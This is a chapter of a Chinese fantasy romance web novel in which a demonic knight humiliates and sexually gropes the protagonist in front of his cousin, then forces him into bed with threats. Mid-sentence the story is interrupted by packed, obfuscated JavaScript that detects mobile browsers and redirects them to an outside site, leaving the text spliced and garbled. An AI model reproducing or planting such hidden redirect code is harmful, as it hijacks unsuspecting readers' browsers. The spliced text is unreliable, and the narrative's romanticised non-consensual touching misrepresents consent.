“伴侣?在床上练口语?”
这几个字犹如一记重磅炸弹,直接在狭窄的玄关炸开。
秦默言那张常年维持着精英式温和的脸庞,瞬间阴沉得仿佛能滴出水来。金丝眼镜后,那双深邃的眼眸死死盯住珀西瓦尔揽在凌城腰间的手,骨节分明的手指不由自主地攥紧了手中的高定礼盒。
“珀西瓦尔!你瞎说什么呢!”
凌城简直要被这头不分场合发疯的深渊狂犬气晕过去。他满脸通红地挣脱男人的怀抱,慌乱地向表哥解释:“默言哥,你别听他胡说!他是外国人,中文不好,乱用词!他的意思是……我们晚上在卧室里纯聊天练口语!饭做好了,快洗手吃饭吧!”
为了防止事态进一步恶化,凌城连推带拽地把秦默言拉进了餐厅,又回头狠狠瞪了珀西瓦尔一眼,用眼神警告他:“说好的乖乖配合呢!”
渊光骑士冷哼一声,那双异色魔瞳里闪过一丝不屑。中文不好?他可是直接摄取了现世语言库的神明。不过,看着小契主那副快要急哭的模样,他勉强收敛了周身的杀气,大摇大摆地拉开椅子,在凌城的正侧方坐下。
……
逼仄的餐桌上,气氛诡异到了冰点。
一边是放着精致糖醋排骨的秦默言,另一边是放着浓油赤酱红烧肉的珀西瓦尔。凌城夹在中间,如坐针毡,连握筷子的手都在微微发抖。
“小城,尝尝这个。我记得你小时候只要一哭鼻子,姑姑就会给你做糖醋排骨,你总是吃得满脸都是酱汁。”
秦默言率先打破了沉默。他恢复了那副温柔体贴的兄长模样,极其自然地夹起一块色泽红亮的糖醋排骨,放进凌城的碗里,眼神里满是怀念与毫不掩饰的宠溺。
这番话,句句都在宣示着他与凌城之间那段珀西瓦尔永远无法参与的“青梅竹马”岁月。
“谢、谢谢默言哥……”凌城硬着头皮刚想动筷子。
“啪。”
珀西瓦尔手中的筷子重重地搁在碗沿上。
男人那张俊美且充满异域风情的脸上,浮现出一抹充满戾气的冷笑。他根本没有去夹菜,而是直接伸出那只布满狂野魔纹的左手,毫不客气地捏住了凌城的下巴,将少年的脸强行扳向自己。
“张嘴。”
珀西瓦尔低沉的嗓音带着不容抗拒的命令。他的右手稳稳地夹起一块肥瘦相间的红烧肉,直接抵在了凌城紧闭的唇缝间。
“唔……珀西,你干嘛,默言哥还在……”凌城羞愤欲绝地想要偏过头,眼角的余光已经看到了秦默言几乎要杀人的冰冷视线。
“我让你张嘴。”珀西瓦尔的眼神瞬间暗了下来,大拇指恶劣地摩挲着少年敏感的唇瓣,带着一丝惩罚的意味。
在这股霸道的压迫感下,凌城只能屈辱地微微张开嘴,任由男人将那块红烧肉喂进口中。
“乖。”珀西瓦尔满意地收回手,甚至极其色情地舔了舔自己沾了酱汁的拇指,挑衅地看向对面的秦默言,“人类的口味是会变的。他现在,更喜欢属于我的味道。”
秦默言的呼吸猛地一滞,镜片后的双眼微眯,浑身上下散发出一股冷冽的商界上位者威压:“这位珀西先生,不觉得自己的举动太过越界了吗?”
“越界?这就叫越界了?”
珀西瓦尔嗤笑出声,深渊暴君的劣根性在这一刻彻底暴露无遗。
就在秦默言和凌城都以为他还要说出什么惊世骇俗的话时,珀西瓦尔表面上靠在椅背上,显得慵懒散漫。
但在那张铺着格子桌布的餐桌之下——
一只滚烫、宽大、带着粗糙枪茧的手掌,毫无预兆地顺着凌城宽松的居家裤管,直接探了进去!
“唔!”
凌城浑身猛地一颤,喉咙里溢出一声变调的闷哼,一双清绿色的眼眸瞬间睁得滚圆。
“小城?怎么了?是不是菜太烫了?”秦默言立刻关切地探过身子。
“没、没事……不小心咬到舌头了……”凌城死死咬着下唇,冷汗瞬间布满了额头。
餐桌下,珀西瓦尔那只作乱的大手根本没有停下的意思。他太熟悉这具身体了,男人的指腹带着一种令人头皮发麻的魔力,顺着少年修长的小腿肚一路向上攀爬,极其放肆地揉捏着那紧绷的肌肉。
最终,那只手停留在了一个绝对危险的绝对禁区边缘。
昨晚那场近乎榨干的“疗伤”所留下的敏感与红痕,此刻只要被轻轻一碰,就能引发一阵灵魂深处的战栗。珀西瓦尔的指尖犹如带着火星,在那脆弱的皮肤上充满暗示地画着圈,甚至恶劣地惩罚般按压了一下。
“哈啊……”
凌城握着筷子的手彻底失去了力气,筷子“啪嗒”一声掉在桌面上。他的双腿在桌下无力地并拢,试图夹住那只作恶的手,但这微弱的力气对于珀西瓦尔来说简直就是欲拒还迎的调情。
少年眼尾那抹被欺负出来的绯红再也压不住了,水光在眼底打转。他一边要在表哥面前强装镇定地吃饭,一边要在桌下承受着渊光骑士那近乎残忍的索取与宣誓主权,整个人仿佛被架在火上反复烧烤,理智的弦绷到了极限。
看着小契主这副隐忍、破碎又极其诱人的模样,珀西瓦尔嘴角的弧度越发深邃。
……
这顿饭,凌城吃得简直比上刑场还要煎熬。
好不容易熬到晚餐结束,凌城逃也似的冲进厨房洗碗,试图用冷水给自己快要爆炸的脸降温。
而客厅里,两个高大的男人分坐沙发两端,空气中弥漫着没有硝烟的刺鼻火药味。
“我不管你用什么手段骗了小城。”秦默言摘下眼镜,一边擦拭,一边用冰冷刺骨的目光审视着珀西瓦尔,“但我绝不会允许一个来路不明、充满危险的家伙留在他身边。今晚,我会带他去住酒店。”
“你可以试试看,你能不能带他走出这扇门。”珀西瓦尔冷冷地看着他,犹如在看一只不自量力的蝼蚁。
就在这时,凌城擦着手从厨房走出来。
秦默言立刻收起了冷意,换上了一副略显疲惫和无奈的表情。他看了一眼手机,深深地叹了口气:“小城
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430526|200911||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,真是太不巧了。刚才助理发消息,我预定的那家星级酒店系统崩溃,房间没了。现在外面又下起了大雨,其他酒店估计也满了……”
他抬起头,眼神温柔且带着一丝不容拒绝的强势:“今晚,我能在你这里借宿一晚吗?反正我们从小也经常睡一张床。”
此话一出,整个客厅的温度瞬间降至冰点。
“不……不行!”凌城彻底慌了,“默言哥,我这里只有一张单人床啊!根本睡不下三个成年男人!”
“没关系,我不挑剔。”秦默言微笑着站起身,目光挑衅地扫过珀西瓦尔,“既然这位‘室友’这么热情,想必他不介意把床让给客人,自己去睡沙发或者打地铺吧?”
让堂堂深渊暴君睡地铺?!
凌城倒吸一口冷气,甚至觉得下一秒珀西瓦尔就会拔出黑剑把表哥的头砍下来。
然而,出乎意料的是,珀西瓦尔并没有暴起杀人。
渊光骑士缓缓站起身,将近一米九五的强悍压迫感瞬间笼罩了整个客厅。他走到凌城身边,直接将少年拦腰抱起,那双异色魔瞳死死盯着秦默言,露出了一个残忍又戏谑的笑容:
“客随主便。我的‘室友’每晚都要抱着我才能睡着。”
珀西瓦尔指了指墙角那张刚够一个人翻身的狭窄沙发:“那张沙发归你,不用谢。凌城,我们回、房、睡、觉。”
“珀西瓦尔你放我下来!”凌城羞愤地挣扎。
“闭嘴,再乱动,我不介意现在就当着你表哥的面,让你提前预习一下明天的‘口语’。”男人低声威胁,抱着僵硬的凌城大步走进了那间只有一张单人床的小卧室。
“砰!”
卧室门被重重关上,顺便还落了锁。
留在客厅的秦默言,面沉如水,额角的青筋剧烈跳动,那双原本温柔的眼眸里,此刻翻涌着一种近乎病态的、令人毛骨悚然的暗流。
……
一门之隔的卧室内,连空气都变得极其稀薄。
那张一米二宽的单人床,对于两个成年男性来说,逼仄到了极点。
凌城几乎是被珀西瓦尔强行压在了最里面,后背紧紧贴着冰冷的墙壁,而身前,则是男人那具宛如火炉般滚烫、硬邦邦的肌肉躯体。
两人的呼吸交缠在一起,距离近到凌城能清晰地感受到珀西瓦尔身上那股充满侵略性的荷尔蒙。
“珀西……你疯了,我哥就在门外……”凌城压低了声音,像只受惊的小鹿一样抗拒着男人越来越放肆的拥抱。
“他最好一整晚都在门外听着。”
珀西瓦尔毫不留情地将凌城作乱的双手按在头顶的枕头上,强壮的长腿轻而易举地挤进了少年的双腿之间。黑暗中,那双燃烧着黑炎的魔瞳牢牢锁定了他的猎物。
渊光骑士低下头,冰冷的薄唇贴在凌城的耳畔,用一种极其低哑、充满色气与危险的嗓音呢喃道:
“今晚,我们就来玩个游戏吧,小契主。”
“看看在只有一门之隔的地方,你能把声音……憋得多小?”